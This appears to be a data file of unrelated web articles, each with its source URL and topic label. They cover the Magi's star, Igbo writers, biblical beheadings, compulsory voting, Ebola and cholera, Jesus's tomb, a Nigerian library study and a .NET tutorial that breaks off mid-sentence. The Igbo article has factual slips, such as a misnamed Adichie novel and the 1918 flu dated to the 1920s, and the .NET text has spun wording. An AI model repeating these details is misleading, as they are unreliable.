by the sun's brightness, later in the year. Presumably this was happening to the Magi's star, so they could no longer see it as they travelled. They did not need it to guide them, however, as they knew it had announced Israel's coming King, and they assumed He would be in Jerusalem by the time they arrived. In the meantime, Mary and Joseph had travelled from their home in Nazareth in Galilee, to Judaea, in order to be counted in the Roman census at Bethlehem, the ancestral home of Joseph's family. While there in Bethlehem, the child Jesus was born. Although announced both by the heavenly host in the air above Bethlehem and also by the new star, neither announcement made any particular stir in Jerusalem. The shepherds had spread the news around Bethlehem, and later Simeon and Anna around Jerusalem (Luke 2:17; 2:38), but only a few realized the real significance of the event. After all, there had been various other alleged Messiahs who had come and gone. Not even the star had seemed to arouse any Messianic interest, although surely many had seen it. The Jews as a whole were interested in neither astronomy nor astrology. They apparently had little interest in Balaam's prophecy of the star, either, possibly because he was a Gentile who had been slain by the Israelites at the time of Moses. When the Magi arrived in Jerusalem, several months after they first saw the star (possibly even as long as two years after, in view of Herod's later slaughter of the children, according to Matthew 2:16), they apparently assumed that the newborn King would have been brought to Jerusalem by that time, or at least that Herod could tell them where to find Him. Instead, Herod and "all Jerusalem" were merely "troubled," widely fearful that the Parthians and Persians might attempt to install this new King on the throne of Judaea. When the scribes cited Micah 5:2 as evidence that Messiah would be born in Bethlehem, Herod sent them there in search of Him. Then, as they headed toward Bethlehem, six miles away, they suddenly saw the Star again. Even though they had not been able to see it while traveling to Jerusalem, it had indeed been going before them and now appeared once again, probably in the early morning sky. The Biblical account says that the star "came and stood over where the young child was" (Matthew 2:9). That seems to indicate that, when the star reached its zenith position, it was over Bethlehem. Obviously, they didn't need the star to guide them to Bethlehem, but when they saw it again, they "rejoiced with exceeding great joy," because this meant that their understanding of Scripture was right and this was, indeed, His Star! There is an ancient story, which could possibly be true, that as the Magi entered Bethlehem, they saw the star's reflection in the water at the bottom of a well, and that this was how they knew that the star was actually vertically over the village. The story has been cited by the Christian astronomer Maunder as realistic, even though unconfirmed. The Biblical account does not say that the star stood above the actual house, of course, but it would be easy enough to find out from the townspeople where the babe was, for the town was not large. When they finally saw Him, they forthwith "fell down, and worshipped Him" (Matthew 2:11). And so should we!

http://www.icr.org/home/resources/resources_tracts_whentheysawthestar/

Religion

en

Literature cannot exist in isolation, as it is influenced by the events occurring around it. One factor that has a significant impact is the culture of a people. During the late 1950s and 1960s, as African nations gained independence, they faced a challenge. They needed to demonstrate their worth to the world and prove that they were not the barbaric, backward tribes that European nations had conquered in the previous century. However, this was complicated by the fact that many African countries had diverse ethnic groups, with Nigeria alone having over 250 groups. Each group, not just the major ones with Igbo writers, Hausa-Fulani writers, and Yoruba writers, felt the need to prove themselves to the world. In retrospect, it is unfortunate that African nations and peoples had to prove their civilization to the white man before he set foot on the continent. They did not have to, but in those days, racism and ignorance were prevalent among Europeans. This was the kind of ignorance that allowed a white man to claim he had discovered a river that the locals had fished, swam, and drank from for generations before he arrived. One positive outcome of this struggle was that Africans developed a genuine interest in their own culture. The Igbo people, for example, were not sidelined; they were actively involved in the process. In this article, we present nine Igbo writers who wrote about their people. Although we initially attempted to organize the list in order of relevance, we abandoned this approach halfway through, resulting in a list that appears to be in descending order. Please note that we do not include Cyprian Ekwensi on this list. Although he was a great writer, his novels were more cosmopolitan, often set in pre-colonial Hausaland, the slums of Lagos, and other locations beyond the Igbo culture. Christoper Okigbo would have been placed higher in this list but he didn’t live long enough to have more influence on literature and perpetuate the culture of his people. He died in 1967, killed in the Nsukka sector of the war. By the time of his death, he was 34, and one collection to his name, “Lybarinths, With Paths of Thunder” with dozens of unpublished poetry which later appeared in countless anthologies. It is hard to make the case for Christopher Okigbo as an exporter of Igbo culture because he wrote poetry which is a subjective genre of literature. It is also hard to dismiss him as a non-exporter of Igbo culture because he wrote poetry that can be interpreted toward that cause. One of Okigbo’s most known poems is “Heavensgate” where what is arguably his best lines are seen: “Before you, Mother Idoto, naked I stand, Before your watery presence, Leaning on an oil bean; Lost in your legend…” Even people who can argue that Christopher Okigbo didn’t explicitly push Igbo culture are aware of him being the subjects of numerous discourses, essays, and publications all of which recognize him as an Igbo writer. If this isn’t enough, the fact that he paid the supreme price defending Igboland. John Mononye wrote, “The Only Son”, “Oil Man of Obange”, “Obi”, “A Wreath For The Maidens”, etc. All these books were snippets in the exportation of Igbo cultures. The only problem for Munonye is that he isn’t well-known nor are his books well-read like those of his counterparts. His most popular book is “The Only Son” which tells the story of a widow whose only son she devotes her life to make him a useful man is snapped by the new religion. “The Only Man” is a good book but suffers from being compared with Achebe’s “Things Fall Apart”. These are different books and contributed their share in the selling of Igbo culture to the rest of the world. You may not have heard of his name,e but he wrote a novel you know about, or should have known about due to its lofty title, “My Mercedez Is Bigger Than Yours”. Set in the 1970s, this story tells about a young man’s obsession with owning a car. This car becomes more than a vehicle, it becomes a symbol of his obsession, his vanity, his aspirations, his growth, and his connection with his hometown. But it is not this book that did the most to Igbo culture. It is his first novel “Danda” which was published in 1964 and went on to be made into a musical that was performed across the continent and beyond. It was entered in the 1966 World Festival of Negro Arts in Dakar, Senegal. During the civil war, he contrived his quota by publishing, “Biafra: The Making of a Nation” with Samuel X. Ifekjika. Chimamanda is most known for her novel “Half of A Yellow Song” which has since been turned into a movie. This book about the Civil War is not just about the history and culture of Igbo people in the 1950s and up to the 1960s. We saw, thanks to this seminal work, Igbos in the 1960s north, Igbos in Lagos, Igbos who with money before the way, and Igbo intellectuals as seen Chimamanda’s last novel, “Americanah”, also gave us some insights into the life of the Igbos in the early 1970s, 1980s, and even today. Or maybe not us, we may already have awareness as to how Igbos lived in these periods but the outside world may not be aware and it is to them that she sold our culture. Some of her stories in her short stories collection, “The Thing Around Your Neck” also spoke decibels of Igbo people and culture. Chukwuemeka is most known for writing “The Potter’s Wheel”, a novel that was set in colonial Eastern Nigeria, at a time when Christianity and education were fully accepted but with a degree of cynicism that set the ground for a powerful story. Written with a witty story-telling style, Ike brought his characters alive, making the audience relive what it was to be a trader, a student, a teacher, and an Ogbanje in 1940s Igboland. Chukwuemeka Ike also published “Bottled Leopard” a novel that underscores the dualism of mankind. A man can be a normal person at day and a leopard at night and he is no witch. He becomes a leopard when he is invoked to carry out the duties of his people. You don’t understand? Well, you may have to read the book, and even then, you may still have questions. It is okay, it is Igbo culture, it is Igbo science. Flora Nwapa holds the distinction as the first female novelist in Africa. It wasn’t just for being the best that she is remembered today. She wrote powerful books. “Efuru” published in 1966 took us all on a journey to the pre-colonial Igbo village life. With “Efuru”, we learned how Igbos loved, courted, married, buried the dead, mourned, and worshipped their deities. We saw the enterprising nature of the Igbo people, especially so, the Igbo woman. While many have read this book as a feminist copy (they are right, the book told the story of a woman and her travails), it is a great book in piping the culture of Ndigbo to the rest of the world. Nwapa’s other books “Idu”, “Emeka, My Driver’s Card”, “Never Again”, and her short stories all contributed their pieces in selling Igbo cultures to the world. When a Rivers Igbo person says s/he is not Igbo, they raise a problem that would have to do with rewriting history and literature. Elechi Amadi considered himself an Igbo and wrote his novels to tell the story of Riverine Igbos. His novel “The Concubine” tells the story of Igbos’ relationship with their land, their neighbors, their family, their business, and their gods and belief system. We saw Ihuoma, a beautiful, favored woman who is married to a sea god without her knowledge and cannot have successful unions in real life. A powerful love story is thrown in to make an already strong story complex (and painful). In “The Great Ponds” (1969), Amadi tells of Igbos’ response to the Great Flu that claimed 20 million people worldwide in the 1920s. They thought it was the gods punishing them as they buried people until there were no more spaces to dig nor energy to lower the bodies to the graves. It is also with this book that we saw the art of warfare in Igbo villages of the past. Even Elechi Amadi’s fighting on the Nigerian side during the war can be forgiven for what he did, on paper, to the culture of his people. Born in 1944, Buchi Emecheta is one of the strongest writers to come out of Nigeria and arguably the most prolific novelist with more than twenty titles to her name. Her most popular book is “The Joys of Motherhood”, a book about a woman who did everything for her children but ended up dying alone. It is a great disservice to the character of Nnu Ego and the art Emecheta poured into the book to summarize it this way but this whole post may not even do justice to her story. Best to concentrate on the cultural aspect. We saw the life of strong Igbo people in their hometowns and how they were reduced to mere servants in Lagos. We saw what it takes to raise children in early independent urban Nigeria, intertribal crashes, the connection to home, and the power of reincarnation. With “Second Class Citizen”, we saw the life of an Igbo woman in England, and how she tried to raise all her kids while dealing with a selfish and heartless husband and a racist country. Other of her books, most especially “The Bride Price”, “The Slave Girl”, and “Destination Biafra” all highlighted an important culture of the Igbos or period of Igbo nationhood. Buchi Emecheta is from Ibuza in Delta State and has always considered herself an Igbo person. In the beginning, she mentioned that she wrote about Western Igbos which later became Bendel Igbo and now Delta Igbo. Whatever way her person chooses to identify themselves, the fact remains that their story and culture weren’t left untold. Chinua Achebe is often referred to as the father of modern African literature and is a significant force when it comes to the culture of Ndigbo. His book “Things Fall Apart” is the most popular book to come out of Africa. It has been translated into dozens of languages and read all over the world. If someone tells you they have read just one book about Africa, it is probably “Things Fall Apart”. The book is powerful and tells the story of Igbo culture as it confronts the imperialism of the white man. It is full of anecdotes, stories, proverbs, sayings, and characters that illustrate the civilization, philosophy, and humanity of Igbos. Okonkwo has become a metaphor for many things today, and his killing of Ikemefuna continues to haunt him. Through Okonkwo’s story, we learn about Igbo marriages, seasons, religion and gods, trades, democracy, taboos, punishment system, festivals, foods, masquerades or masked spirits, art, sports, music, conflict resolution, the Ogbanje story, and many more aspects of Igbo culture. “Things Fall Apart” is a cornerstone of Igbo culture and there is hardly any book that can challenge it in this aspect. Achebe went on to write “Arrow of God” and “No Longer At Ease”, which were repositories of colonial Igboland and the Igboman in the civil service on the eve of Nigerian independence and his connection to his homeland and sentiments. Achebe was also an essayist, and his articles collected under the title “Morning Yet On Creation Day” saw him confront Western racism, portrayal, and notions about African peoples and their way of life while lecturing on Igbo cosmology, philosophy, and consciousness. Achebe’s last book, “There Was A Country”, is a personal history of the civil war. This book was met with controversy, mostly regarding the role Awolowo played in starving hundreds of thousands of Igbo children. However, the book is not just about the war; it also speaks to the Igbo man’s culture of enterprise, ingenuity, and survival. Connect with us on Facebook The opinions, beliefs and viewpoints expressed by the author and forum participants on this website do not necessarily reflect the opinions, beliefs and viewpoints of Anaedo Online or official policies of the Anaedo Online.

https://www.anaedoonline.ng/2021/03/26/igbo-writers/

Culture

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There are many beheadings recorded in the Bible. Beheading was a common manner of execution in ancient cultures. Beheading one’s enemy was a way to announce a complete victory over him. Displaying the severed head of an enemy left no doubt in anyone’s mind that this enemy was no longer a threat. In the New Testament, the most prominent account of a beheading is that of John the Baptist by order of the tetrarch Herod Antipas (Matthew 14:10). John had publicly rebuked Herod for his immorality (Herod had taken his brother’s wife, Herodias—who also happened to be Herod’s step-niece). John’s rebuke so enraged Herodias that she tricked her husband into giving her the head of John the Baptist on a platter (Matthew 14:8). Although Herod did not want John killed, Herodias elicited the promise in front of Herod’s guests, so he did as she asked so as not to lose face (Mark 6:17–29). A few years later, James the brother of John was beheaded by Herod Agrippa I in an effort to curb the explosive growth of Christianity (Acts 12:2). The most famous Old Testament beheading is found in 1 Samuel 17 when David defeated Goliath. As the giant Goliath threatened the Israelite army day after day, young David came against him with a slingshot and the power of the Lord (1 Samuel 17:45). The first stone connected with Goliath’s head, and the giant fell. David then ran to him, drew out the giant’s own sword, and cut off his head (verse 51). At another time, however, King David was grieved when his men thought they were pleasing him by killing and beheading Ish-bosheth, one of King Saul’s remaining sons (2 Samuel 4:7–8). The assassins brought the head of Ish-bosheth to David, expecting a reward. Instead of commending them, David was outraged that they had killed an innocent man in his own house. Rather than display Ish-bosheth’s head and reward his killers, David buried the head and had the men executed. David did not behead them but had their hands and feet cut off and displayed as a warning to anyone who would murder innocent men for political gain (2 Samuel 4:12). Second Kings 10 tells us of a mass beheading that took place when God removed wicked King Ahab from the throne and instructed that all his sons and followers also be executed. God, through the prophet Elisha, anointed Jehu as the next king and commanded him to rid Israel of all remnants of Ahab’s evil reign, including all worshipers of Baal (2 Kings 9:1–10). Jehu obeyed; he first slaughtered the king’s seventy sons, beheading them and piling their heads at the city gate of Samaria (2 Kings 10:7–8). Jehu then called a fake festival for all Baal worshipers in the land in order to gather them in one place (verses 18–19). When the idolaters had all arrived and packed the building, Jehu ordered his men to kill them all with the “edge of the sword,” which may or may not imply beheading (verse 25). Other beheadings in the Bible include the Egyptian baker, beheaded by Pharaoh (Genesis 40:20); King Saul, beheaded by the Philistines (1 Samuel 31:8–10); and Sheba, beheaded by the people of Abel Beth Maakah (2 Samuel 20:21–22). Abishai threatens to behead Shimei, but David forbids him (2 Samuel 16:9–10). Ashpenaz, the chief Babylonian court official, fears beheading by King Nebuchadnezzar (Daniel 1:10). Of special interest is the “beheading” of the Philistine god Dagon. The Philistines had stolen the Ark of the Covenant and placed it in their temple of Dagon, “but the following morning when they rose, there was Dagon, fallen on his face on the ground before the ark of the Lord! His head and hands had been broken off and were lying on the threshold; only his body remained” (1 Samuel 5:4). The Lord God of Israel, in cutting off Dagon’s head, plainly showed His victory over all false gods. Beheadings are nothing new, and, according to Revelation 20:4, beheadings will continue and increase until Jesus comes again. The martyrs of the end times’ tribulation will be beheaded because they refuse to take the mark of the beast or deny Jesus as Lord. We see this type of martyrdom already occurring around the world with the proliferation of evil religious zeal that sets itself against the truth. As it was in Bible times, beheading is often used as a means to terrorize potential enemies and silence opposition. But truth will not be silenced (Luke 19:40). We must remember that, even when our enemies flaunt their evil and brandish the heads of martyrs, Jesus told us not to fear, for He has “overcome the world” (John 16:33).

https://www.gotquestions.org/beheadings-in-the-Bible.html

Religion

en

Belgium has the oldest existing compulsory voting system, introduced in 1892 for men and 1949 for women. People aged 18 and over who do not vote face a moderate fine or, if they fail to vote in at least four elections, they can lose the right to vote for 10 years. Non-voters also face difficulties getting a job in the public sector The Australians brought in a system of compulsory attendance at elections in 1924. Voters are obliged to attend the polling station but can leave without voting after ticking their names off. Non-attendees face fines of AU$20-$AU50 (about £9 - £21) and possible imprisonment if they refuse to pay their fines (as punishment for failing to pay rather than for not voting). In a nation built on immigration, Australian supporters of the system say compulsory voting is a symbol of the integration of new arrivals into the Australian way of doing things. In 1952, Bolivia began to give voters a card to prove their participation at an election. If voters cannot show this proof-of-voting card during the three months after the election, they can be prevented from drawing their salary from the bank. In Greece, not voting makes it difficult for citizens to obtain a new passport or driver's licence. There are no formal sanctions in Mexico or Italy but there are social or arbitrary sanctions. In Italy, the latter are called "innocuous sanctions", which make it difficult to get a daycare place for a child, for example. In Singapore, non-voters are removed from the electoral register until they reapply, providing a reason for their abstention. In Peru, voters must carry a stamped voting card for several months after the vote in order to obtain some services and goods. Both Venezuela and the Netherlands abandoned compulsory voting. The last election in which the Dutch were obliged to vote was in 1967. Turnout in the subsequent national poll decreased by around 20%. Venezuela saw a drop in attendance of 30% once compulsion removed, in effect, in 1993 Full list of countries with compulsory voting France (senate only)

http://www.guardian.co.uk/politics/2005/jul/04/voterapathy.uk

Politics

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Panic over the spread of Ebola has been growing in Europe, North America, and Asia after the world saw the first three patients diagnosed with the disease outside of West Africa: two in Texas and one in Spain. We're not likely to see an outbreak in the US, but now that the disease has been transmitted here, Americans are increasingly worried. Nina Pham, a 26-year-old nurse who cared for Ebola patient Thomas Eric Duncan in Dallas, was recently diagnosed with the disease. Duncan died in Dallas last week. And although the threat of widespread transmission in the US is very low, air travel makes it very likely that Ebola cases could arrive here again and may start popping up in other countries. "Germs have always traveled. The problem now is they can travel with the speed of a jet plane," Howard Markel, a professor of the history of medicine at the University of Michigan, told The New York Times. Researchers at the Laboratory for the Modeling of Biological and Socio-Technical Systems at Northeastern University in Boston calculated which countries are most at risk for imported cases of Ebola by the end of October, as shown in the below chart: Keep in mind that this is the risk of a single imported case, not the risk of an outbreak. To get these projections, the MOBS Lab looked at air travel and commuting patterns originating in the affected region. These projections change based on how much travel from the affected region is reduced due to Ebola. The chart above shows projections with no reduced travel. "Severe travel restrictions to and from the affected areas (80% airline traffic reduction) generates only a 3-4 weeks delay in the international spreading," the researchers noted. And such restrictions would make the outbreak worse for everyone. The MOBS researchers take care to emphasize that widespread outbreaks in most of the countries shown in the chart are highly unlikely. A "large outbreak involving more than 10 individuals, although potentially possible, can be considered as very rare events," they write. The data suggests that "effective management and isolation of cases is keeping the number of [Ebola] cases to deal with to a very limited number, lowering the risk of losing control of the outbreak." Ebola has been ravaging parts of West Africa over the past few months in part because the region's healthcare system is not equipped to contain the disease. So far, Ebola hasn't spread much outside of the epicenter of the outbreak. Spain was the first country outside of Africa with a locally acquired case. The US has seen one local transmission so far — the Dallas nurse — and one death from someone who contracted the disease in Liberia and then started showing symptoms after he traveled to the US to visit family and friends. More than 4,000 people have died in what's been the worst Ebola outbreak the world has ever seen. More than 8,000 people have contracted the disease in Guinea, Liberia, and Sierra Leone. Those numbers include 401 healthcare workers who have been infected; 232 of them have died. As long as the outbreak rages on in West Africa, "we can't make the risk zero here," CDC Director Tom Frieden has said. "We wish we could." Ebola has killed more than half of those infected in the current outbreak. The disease begins with flu-like symptoms and in many cases escalates to internal and external bleeding and organ failure.

http://www.businessinsider.com/where-ebola-will-spread-2014-10?utm_content=bufferac209&utm_medium=social&utm_source=facebook.com&utm_campaign=buffersomeone

Politics

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The number of cholera cases decreased globally by 60% in 2018, the World Health Organization (WHO) announced in a report that points to an encouraging trend in cholera prevention and control in the world’s major cholera hotspots, including Haiti, Somalia and the Democratic Republic of the Congo. “The decrease we are seeing in several major cholera-endemic countries demonstrates the increased engagement of countries in global efforts to slow and prevent cholera outbreaks and shows the vital role of mass cholera vaccination campaigns,” said WHO Director-General Dr Tedros Adhanom Ghebreyesus. “We continue to emphasize, however, that the long-term solution for ending cholera lies in increasing access to clean drinking water and providing adequate sanitation and hygiene.” There were 499 447 cases of cholera and 2990 deaths in 2018, according to reports from 34 countries. While outbreaks are still ongoing in various countries, the caseload represents a significant downward trend in cholera transmission that has continued into 2019, according to data collected by WHO. “The global decrease in case numbers we are observing appears to be linked to large-scale vaccination campaigns and countries beginning to adopt the Global Roadmap to 2030 strategy in their national cholera action plans,” said Dr Dominique Legros, who heads WHO’s cholera programme in Geneva. “We must continue to strengthen our efforts to engage all cholera-endemic countries in this global strategy to eliminate cholera.” Nearly 18 million doses of Oral Cholera Vaccine (OCV) were shipped to 11 countries in 2018. Since the OCV stockpile was created in 2013, almost 60 million doses have been shipped worldwide. Gavi, the Vaccine Alliance, has provided funding for the purchase of the vaccine and financial support for the global vaccination drives. The Global Task Force on Cholera Control launched the Global Roadmap strategy for effective long-term cholera control and elimination in October 2017. The Global Roadmap aims to reduce cholera deaths by 90% and to eliminate transmission in up to 20 countries by 2030. The strategy provides a framework for national action plans that emphasize three main axes of cholera control: - early detection and rapid response to contain outbreaks - a multisectoral approach integrating strengthened surveillance, vaccination, community mobilization and water, sanitation and hygiene to prevent cholera in hotspots in endemic countries - An effective mechanism of coordination for technical support, resource mobilization and partnership at the local and global levels “The Global Roadmap provides clear guidance for how to prevent and, ultimately, to eliminate cholera. Every death from cholera is preventable with the tools we have today,” said Dr Tedros. The new report shows several countries, including Zambia, South Sudan, United Republic of Tanzania, Somalia, Bangladesh, and Nigeria have made significant progress in developing national action plans within the framework of the Global Roadmap strategy. “We are seeing the results of countries reporting – and acting – on cholera. And these countries are making remarkable gains in cholera control and prevention,” said Dr Legros. WHO, in collaboration with partners, provides support to ministries of health in countries affected by cholera to implement immediate, long-term cholera control, including surveillance, outbreak response and preventive measures such as OCV and risk communication. In 2018, WHO country offices worked with governments to respond urgently to major outbreaks in the Democratic Republic of the Congo, Nigeria, Uganda, Yemen, Zambia and Zimbabwe. WHO also worked with countries to transition from outbreak response to longer-term cholera control and elimination, in Haiti, United Republic of Tanzania (Zanzibar) and Zambia. Cholera is an acute diarrhoeal infection caused by ingestion of food or water contaminated with the bacterium Vibrio cholera. Cholera affects both children and adults and can kill within hours if left untreated. WHO estimates that each year cholera infects 1 million to 4 million people and claims up to 143 000 lives.

https://brandspurng.com/2019/12/19/drop-in-cholera-cases-worldwide-as-key-endemic-countries-report-gains-in-cholera-control/

Health

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Researchers have uncovered the original surface of what is traditionally considered the tomb of Jesus Christ in the Church of the Holy Sepulchre in Jerusalem. The tomb's surface had been covered by a thick layer of marble, according to an exclusive by National Geographic. This has now been removed to reveal the tomb for the first time since at least 1555 CE, and possibly much earlier. "The marble covering of the tomb has been pulled back, and we were surprised by the amount of fill material beneath it," said Fredrik Hiebert, archaeologist-in-residence at the National Geographic Society working at the site. "It will be a long scientific analysis, but we will finally be able to see the original rock surface on which, according to tradition, the body of Christ was laid." The shelf on which the body of Christ is said to have rested after his crucifixion is now protected by a structure called an Edicule. This covering is being restored by a team of scientists directed by Antonia Moropoulou of the National Technical University of Athens, a specialist in building materials and the preservation of monuments. "We are at the critical moment for rehabilitating the Edicule," Moropoulou said. "The techniques we're using to document this unique monument will enable the world to study our findings as if they themselves were in the tomb of Christ." Access to the tomb may also help researchers learn about what prompted Helena, the mother of the Roman emperor Constantine, to identify the site as Christ's tomb. The restoration of the tomb is due to be completed in the spring of 2017. The total costs of the project will run to more than $4 million (£3.3m). Donations to fund the restoration include a multi-million-dollar sum from King Abdullah II of Jordan. Six Christian sects have custody over the Church of the Holy Sepulchre, and the restorations required the consent of all of them before going ahead. They include the Greek Orthodox Church, the Roman Catholic Church and the Armenian Orthodox Church. © Copyright IBTimes 2024. All rights reserved.

http://www.ibtimes.co.uk/tomb-christ-opened-first-time-centuries-1588513

Religion

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AN ASSESSMENT OF THE AVAILABILITY AND UTILIZATION OF INTERNET RESOURCES FOR EFFECTIVE LIBRARY SERVICES IN TERTIARY INSTITUTIONS IN NIGERIA. 1.1 Background of the study The Internet, sometimes known as the net, originated as a collection of text-only materials aimed for scientists, universities, and certain government agencies. However, the introduction and quick expansion of the World Wide Web (commonly known as the Web) changed how information was presented on the Internet. The Web is a global network of interconnected computer files that are linked to one another. It allows for the inclusion of multimedia, such as images, moving visuals, and sound, in addition to text. Millions of web sites, or collections of information at particular electronic addresses, make up the Internet. Web pages, in turn, include multimedia or text-only material on Web sites. Web sites and pages are stored on computers that are linked to the internet (The World Book Encyclopaedia 2008). The internet is the result of a collaboration between the National Science Foundation and the Department of Defense's ARPANET program (NSF). In 1984, the National Science Foundation (NSF) began creating national supercomputer centers to offer high-speed computing for research at significant research institutions, including numerous universities. These supercomputers might be used to conduct some of the world's most cutting-edge research (Rubin 2000). The internet, according to Falaiye and Sturges (2003), is a meta network, or network of networks, that connects a worldwide agglomeration of computer resources for public access. It started out as a government-funded academic and research network, but its extraordinary expansion has attracted a large number of commercial and corporate users. The client/server concept is often used in internet interactions between computers. The server is a computer system that holds data or resources such as the Internet, electronic mail, databases, software files, chat channels, and so on. Feathers and Sturges also indicated that in September 1999, the number of internet users was expected to reach 195 million, with projections of exceeding 300 million by 2005. These users utilize commercial INTERNET SERVICE PROVIDERS to access the internet (ISPs). According to OKoye (2004), the internet expands external connections, makes current knowledge accessible, fosters experimentation, and facilitates human-machine interaction. The word "internet" refers to an electronic network that connects thousands of computer networks. The internet's popularity has exploded in recent years, and it is now accessible in over a hundred nations (World Almanac 1999). According to the Emerging Technologies Research Group, over three-quarters of Internet users consider the internet necessary, and 60% of those who use it for business use it on a regular basis (Emerging Technologies Research Group 1997). An additional 55 million individuals said that they plan to start using the internet in the next year or that they would want to learn more about it. This indicates that the number of users in the United States is expected to increase significantly in the near future (Emerging Technologies Research Group 1997). Internet facilities must be supplied and applied to all operations and services for academic libraries in Nigeria to stay relevant in the twenty-first century. The internet will be the foundation of all growth cycles in the twenty-first century, it must be stressed. According to Ajileye and Joseph (2002:58), "any library that wishes to contribute its quota to such progress 'needs to' embrace internet and its applications for service delivery." As a result, academic libraries must be sufficiently prepared to meet the difficulties posed by the internet. Another component of Internet service, according to Falaiye (2005:50), is literature search inside a certain library. Sangowusi (2004) agreed that "giving the correct information in the right form and at the right time to suit users' demands has long been viewed as an essential goal in information and communication technologies (ICT) to library services," According to Ajayi (2001), various technologies provide diverse line horizons, job designs, and capabilities, prompting the development of structures and management styles that are appropriate for the technology and its culture. They went on to say that network advancements have revolutionized means of communication, and that a librarian may now quickly connect into services, systems, and information that were before either unavailable or unknown from his desktop. The researchers found that, at certain phases of human growth, information technologies evolve from one level to the next, boosting humanity's welfare and services. Personal computers, internet connection, Electrical Mail Services, Facsimile transmission, Networks, and CDROM services are examples of ICTs that are used to create, acquire, store, process, and communicate information today. According to Ajileye (2002), access to information processed via the internet is instantaneous and can be accessed across large distances regardless of where the information is processed once you are linked to the internet. Internet services must be given and applied to all library operations and services in order for libraries to stay relevant in the twenty-first century. 1.2 Statement of the problem The use of Internet facilities in libraries ideally enhances operations and services such as cataloguing, collection development, Serials, Circulation, Reference Services, and Inter-Library Loan/Cooperation, by simplifying difficult and time-consuming tasks, disseminating information to users efficiently and effectively, and managing large amounts of information. The term "information and communication technology" (ICT) refers to the technology that is used to handle data, such as multi-media and the internet, as well as devices like video, cameras, and mobile phones. The current high expectation for excellent information service delivery by well-informed users of university libraries throughout the world has put a lot of pressure on library staff to be ICT literate as a matter of necessity (John, Izang & Akorede, 2015). According to research, most people start their information searches on the internet, using search engines like Google, Wikipedia, and others, rather than utilizing the library's WebPAC or Card Catalogue. A trip to the library is superfluous and a waste of time for these individuals. This has created a significant difficulty in academic libraries. It is in this vain that this study therefore seeks to access the availability and utilization of Internet Resources for effective Library Services in Tertiary Institutions in Nigeria. 1.3 Objective of the study The primary objective of the study is as follows 1. To evaluate the availability of Internet services in Nigeria tertiary institutions. 2. To examine if internet services is utilized in other for effective library services in Nigerian tertiary institution. 3. To evaluate the challenges faced in using the available internet based resources in Nigerian tertiary institution. 4. To find out how to improve internet resources for effective library services. 1.4 Research Questions The following questions have been prepared for this study 1) Is there an availability of Internet services in Nigeria tertiary institutions? 2) Is there an internet services is utilized in other for effective library services in Nigerian tertiary institution? 3) What are the challenges faced in using the available internet based resources in Nigerian tertiary institution? 4) how can there be an improvement internet resources for effective library services? 1.5 Significance of the study This study focuses on the availability and utilization of internet resources for effective library services in tertiary institutions in Nigeria. Hence the study will be of benefit to University board as it will expose the need to improve internet resources for effective library service. The study will be beneficial to the academic community as it will contribute to the existing literature. 1.6 Scope of the study This study will evaluate the availability of Internet services in Nigeria tertiary institutions. The study will also examine if internet services is utilized in other for effective library services in Nigerian tertiary institution. More so the study will evaluate the challenges faced in using the available internet based resources in Nigerian tertiary institution. Lastly, the study will find out how to improve internet resources for effective library services. Hence the service will be delimited to University of Port Harcourt, Rivers state. 1.7 Limitation of the study This study was constrained by a number of factors which are as follows: just like any other research, ranging from unavailability of needed accurate materials on the topic under study, inability to get data Financial constraint , was faced by the researcher ,in getting relevant materials and in printing and collation of questionnaires Time factor: time factor pose another constraint since having to shuttle between writing of the research and also engaging in other academic work making it uneasy for the researcher 1.8 Definition of terms utilization of Internet Resources: that both academics and students are making effective use of the available Internet resources and services to carry out their academic activities. Library services: an organized collection of printed or other library materials, or a combination thereof Ajileye, E.O. and Joseph, M.B. (2002). Repositioning the Polytechnic Libraries in Nigeria for research and development in the 21stCentury. COMMUNICATE. 4(1&2): 56-58 Emerging Technologies Research Group. The (1997). American Internet User Survey (Online). Available at Falaiye, Z.M. (2005). The Application of Computers in Academic Libraries.COMMUNICTE: 4 (1 &2): 50 -55 Institutions. Inter–World Journal of Management Studies. 1(1): 216-225 John H. C., Izang, A. A & Akorede J.O, (2015). Information and Communication Technology(ICT) Competence and Literacy among Undergraduates as a factor for Academic Achievement. International Conference on Applied Information Technology 7-9 October,2015. Page 2 Niger Room of Continuing Education Centre (CEC). University of Nigeria Nsukka. 24th -17th November. Okoye, M.O. (2004). Role of ICTs in Library Research. Paper presented at the CULNU conference held at Rubin, R. E (2000). Foundations of Library and Information Science. New York: Neal-Schuman Publishers, Inc. Sangowusi, F.O. (2004). Utilization of information system in Management Decision Making in financial World Almanac and Book of Facts, (1999). New York: World Almanac Books World Book (2008). The World Book Encyclopaedia. Chicago: World Book, Inc NOT THE TOPIC YOU ARE LOOKING FOR?

https://iresearchng.com/education/an-assessment-of-the-availability-and-utilization-of-internet-resources-for-effective-library-services-in-tertiary-institutions-in-nigeria/index.html

Education

en

.NET is a software development framework developed by Microsoft that provides a platform for building a wide range of applications, including web, desktop, mobile, cloud, and gaming applications. It consists of a runtime terrain called the Common Language Runtime( CLR) and a comprehensive class library called the. NET Framework Class Library( FCL). .NET offers multiple development frameworks, including: - NET: A framework for building web applications, web APIs, and web services. - Windows Forms: A framework for creating desktop applications with a graphical user interface (GUI). - WPF (Windows Presentation Foundation): A framework for building rich and interactive desktop applications with advanced UI capabilities. - Xamarin: A framework for developing cross-platform mobile applications for iOS, Android, and Windows mobile applications using .NET languages. - Entity Framework: An Object-Relational Mapping (ORM) framework for simplifying database access and manipulation. Web API Concept A Web API concept refers to the development and implementation of an application programming interface (API) specifically designed for web-based communication. A Web API allows different software applications to interact and exchange data over the internet using standard web protocols like HTTP. In the context of .NET, Web API refers to the framework and infrastructure provided by Microsoft for building web services and RESTful APIs using .NET technologies. It provides a set of tools, libraries, and frameworks to facilitate the creation of APIs that can be consumed by various client applications, such as web browsers, mobile apps, or other services. With .NET Web API, developers can define endpoints, handle HTTP requests, process data, and generate responses in a structured and standardized manner, enabling seamless communication and integration between different systems and platforms. Know more about .NET course in Chennai at Intellimindz. Step By Step Guide: - Understanding Web API Concepts: Web API concepts revolve around creating interfaces that enable web applications to interact with each other. Following RESTful architecture, Web APIs in .NET utilize HTTP methods like GET, POST, PUT, and DELETE to perform operations on resources. These APIs communicate through requests and responses, using formats like JSON or XML to structure data. Authentication and authorization mechanisms ensure secure access to API resources, while comprehensive documentation guides developers on endpoint functionalities, expected formats, and authentication requirements. Understanding these concepts in .NET is crucial for building robust and interoperable APIs that facilitate seamless communication and integration between applications. - Setting up the Development Environment: Setting up the development environment involves a few key steps. Firstly, download and install Visual Studio, which is the integrated development environment (IDE) used for .NET development. Ensure that you have the appropriate version of the .NET framework 